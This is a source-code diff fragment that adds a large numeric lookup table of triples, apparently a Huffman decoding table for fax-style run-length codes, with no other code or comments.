+{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,10,16},{8,2,3},
+{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,8},{8,2,3},{8,3,1},{8,2,2},
+{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,10,0},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},
+{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},
+{10,10,64},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,9},{8,2,3},
+{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,7,11},{8,2,3},{8,3,1},{8,2,2},
+{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},
+{8,3,4},{8,2,2},{8,8,14},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},
+{8,6,8},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,7,12},{8,2,3},
+{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},
+{8,4,5},{8,2,3},{8,3,4},{8,2,2},{0,0,0},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},
+{8,3,4},{8,2,2},{8,6,9},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},
+{8,7,10},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},
+{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,8,13},{8,2,3},{8,3,1},{8,2,2},
+{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,8},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},
+{8,3,4},{8,2,2},{8,9,15},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},
+{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,10,18},{8,2,3},
+{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,9},{8,2,3},{8,3,1},{8,2,2},
+{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,7,11},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},
+{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},
+{8,10,17},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,8},{8,2,3},
+{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,7,12},{8,2,3},{8,3,1},{8,2,2},
+{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},
+{8,3,4},{8,2,2},{11,12,1984},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},
+{8,6,9},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,7,10},{8,2,3},
+{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},
+{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,12,50},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},
+{8,3,4},{8,2,2},{8,6,8},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},
+{8,12,34},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},
+{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{10,13,1664},{8,2,3},{8,3,1},{8,2,2},
+{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,9},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},
+{8,3,4},{8,2,2},{8,7,11},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},
+{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,8,14},{8,2,3},
+{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,8},{8,2,3},{8,3,1},{8,2,2},
+{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,7,12},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},
+{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},
+{0,0,0},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,9},{8,2,3},
+{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,7,10},{8,2,3},{8,3,1},{8,2,2},
+{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},
+{8,3,4},{8,2,2},{8,8,13},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},
+{8,6,8},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,12,26},{8,2,3},
+{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},
+{8,4,5},{8,2,3},{8,3,4},{8,2,2},{10,13,1408},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},
+{8,3,4},{8,2,2},{8,6,9},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},
+{8,7,11},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},
+{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,12,32},{8,2,3},{8,3,1},{8,2,2},
+{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,8},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},
+{8,3,4},{8,2,2},{8,7,12},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},
+{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{11,11,1920},{8,2,3},
+{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,9},{8,2,3},{8,3,1},{8,2,2},
+{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,7,10},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},
+{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},
+{8,12,61},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,8},{8,2,3},
+{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,12,42},{8,2,3},{8,3,1},{8,2,2},
+{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},
+{8,3,4},{8,2,2},{10,13,1024},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},
+{8,6,9},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,7,11},{8,2,3},
+{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},
+{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,8,14},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},
+{8,3,4},{8,2,2},{8,6,8},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},
+{8,7,12},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},
+{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{0,0,0},{8,2,3},{8,3,1},{8,2,2},
+{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,9},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},
+{8,3,4},{8,2,2},{8,7,10},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},
+{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,8,13},{8,2,3},
+{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,8},{8,2,3},{8,3,1},{8,2,2},
+{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,9,15},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},
+{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},
+{10,13,768},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,9},{8,2,3},
+{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,7,11},{8,2,3},{8,3,1},{8,2,2},
+{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},
+{8,3,4},{8,2,2},{8,12,62},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},
+{8,6,8},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,7,12},{8,2,3},
+{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},
+{8,4,5},{8,2,3},{8,3,4},{8,2,2},{11,12,2240},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},
+{8,3,4},{8,2,2},{8,6,9},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},
+{8,7,10},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},
+{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,12,46},{8,2,3},{8,3,1},{8,2,2},
+{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,8},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},
+{8,3,4},{8,2,2},{8,12,38},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},
+{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{10,13,512},{8,2,3},
+{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,9},{8,2,3},{8,3,1},{8,2,2},
+{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,7,11},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},
+{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},
+{8,8,14},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,8},{8,2,3},
+{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,7,12},{8,2,3},{8,3,1},{8,2,2},
+{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},
+{8,3,4},{8,2,2},{0,0,0},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},
+{8,6,9},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,7,10},{8,2,3},
+{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},
+{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,8,13},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},
+{8,3,4},{8,2,2},{8,6,8},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},
+{8,11,19},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},
+{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,11,24},{8,2,3},{8,3,1},{8,2,2},
+{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,9},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},
+{8,3,4},{8,2,2},{8,7,11},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},
+{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,11,22},{8,2,3},
+{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,8},{8,2,3},{8,3,1},{8,2,2},
+{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,7,12},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},
+{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},
+{11,12,2496},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,9},{8,2,3},
+{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,7,10},{8,2,3},{8,3,1},{8,2,2},
+{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},
+{8,3,4},{8,2,2},{8,10,16},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},
+{8,6,8},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,10,0},{8,2,3},
+{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},
+{8,4,5},{8,2,3},{8,3,4},{8,2,2},{10,10,64},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},
+{8,3,4},{8,2,2},{8,6,9},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},
+{8,7,11},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},
+{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,8,14},{8,2,3},{8,3,1},{8,2,2},
+{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,8},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},
+{8,3,4},{8,2,2},{8,7,12},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},
+{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{12,11,0},{8,2,3},
+{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,9},{8,2,3},{8,3,1},{8,2,2},
+{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,7,10},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},
+{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},
+{8,8,13},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,8},{8,2,3},
+{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,9,15},{8,2,3},{8,3,1},{8,2,2},
+{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},
+{8,3,4},{8,2,2},{8,10,18},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},
+{8,6,9},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,7,11},{8,2,3},
+{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},
+{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,10,17},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},
+{8,3,4},{8,2,2},{8,6,8},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},
+{8,7,12},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},
+{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{11,11,1792},{8,2,3},{8,3,1},{8,2,2},
+{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,9},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},
+{8,3,4},{8,2,2},{8,7,10},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},
+{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,11,23},{8,2,3},
+{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,8},{8,2,3},{8,3,1},{8,2,2},
+{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,11,20},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},
+{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},
+{8,11,25},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,9},{8,2,3},
+{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,7,11},{8,2,3},{8,3,1},{8,2,2},
+{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},
+{8,3,4},{8,2,2},{8,8,14},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},
+{8,6,8},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,7,12},{8,2,3},
+{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},
+{8,4,5},{8,2,3},{8,3,4},{8,2,2},{0,0,0},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},
+{8,3,4},{8,2,2},{8,6,9},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},
+{8,7,10},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},
+{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,8,13},{8,2,3},{8,3,1},{8,2,2},
+{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,8},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},
+{8,3,4},{8,2,2},{10,12,192},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},
+{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{10,13,1280},{8,2,3},
+{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,9},{8,2,3},{8,3,1},{8,2,2},
+{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,7,11},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},
+{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},
+{8,12,31},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,8},{8,2,3},
+{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,7,12},{8,2,3},{8,3,1},{8,2,2},
+{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},
+{8,3,4},{8,2,2},{11,11,1856},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},
+{8,6,9},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,7,10},{8,2,3},
+{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},
+{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,12,58},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},
+{8,3,4},{8,2,2},{8,6,8},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},
+{8,11,21},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},
+{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{10,13,896},{8,2,3},{8,3,1},{8,2,2},
+{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,9},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},
+{8,3,4},{8,2,2},{8,7,11},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},
+{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,8,14},{8,2,3},
+{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,8},{8,2,3},{8,3,1},{8,2,2},
+{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,7,12},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},
+{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},
+{0,0,0},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,9},{8,2,3},
+{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,7,10},{8,2,3},{8,3,1},{8,2,2},
+{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},
+{8,3,4},{8,2,2},{8,8,13},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},
+{8,6,8},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,9,15},{8,2,3},
+{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},
+{8,4,5},{8,2,3},{8,3,4},{8,2,2},{10,13,640},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},
+{8,3,4},{8,2,2},{8,6,9},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},
+{8,7,11},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},
+{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,12,49},{8,2,3},{8,3,1},{8,2,2},
+{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,8},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},
+{8,3,4},{8,2,2},{8,7,12},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},
+{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{11,12,2176},{8,2,3},
+{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,9},{8,2,3},{8,3,1},{8,2,2},
+{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,7,10},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},
+{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},
+{8,12,45},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,8},{8,2,3},
+{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,12,37},{8,2,3},{8,3,1},{8,2,2},
+{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},
+{8,3,4},{8,2,2},{10,12,448},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},
+{8,6,9},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,7,11},{8,2,3},
+{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},
+{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,8,14},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},
+{8,3,4},{8,2,2},{8,6,8},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},
+{8,7,12},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},
+{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{0,0,0},{8,2,3},{8,3,1},{8,2,2},
+{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,9},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},
+{8,3,4},{8,2,2},{8,7,10},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},
+{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,8,13},{8,2,3},
+{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,8},{8,2,3},{8,3,1},{8,2,2},
+{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,12,29},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},
+{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},
+{10,13,1536},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,9},{8,2,3},
+{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,7,11},{8,2,3},{8,3,1},{8,2,2},
+{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},
+{8,3,4},{8,2,2},{8,12,41},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},
+{8,6,8},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,7,12},{8,2,3},
+{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},
+{8,4,5},{8,2,3},{8,3,4},{8,2,2},{11,12,2432},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},
+{8,3,4},{8,2,2},{8,6,9},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},
+{8,7,10},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},
+{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,10,16},{8,2,3},{8,3,1},{8,2,2},
+{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,8},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},
+{8,3,4},{8,2,2},{8,10,0},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},
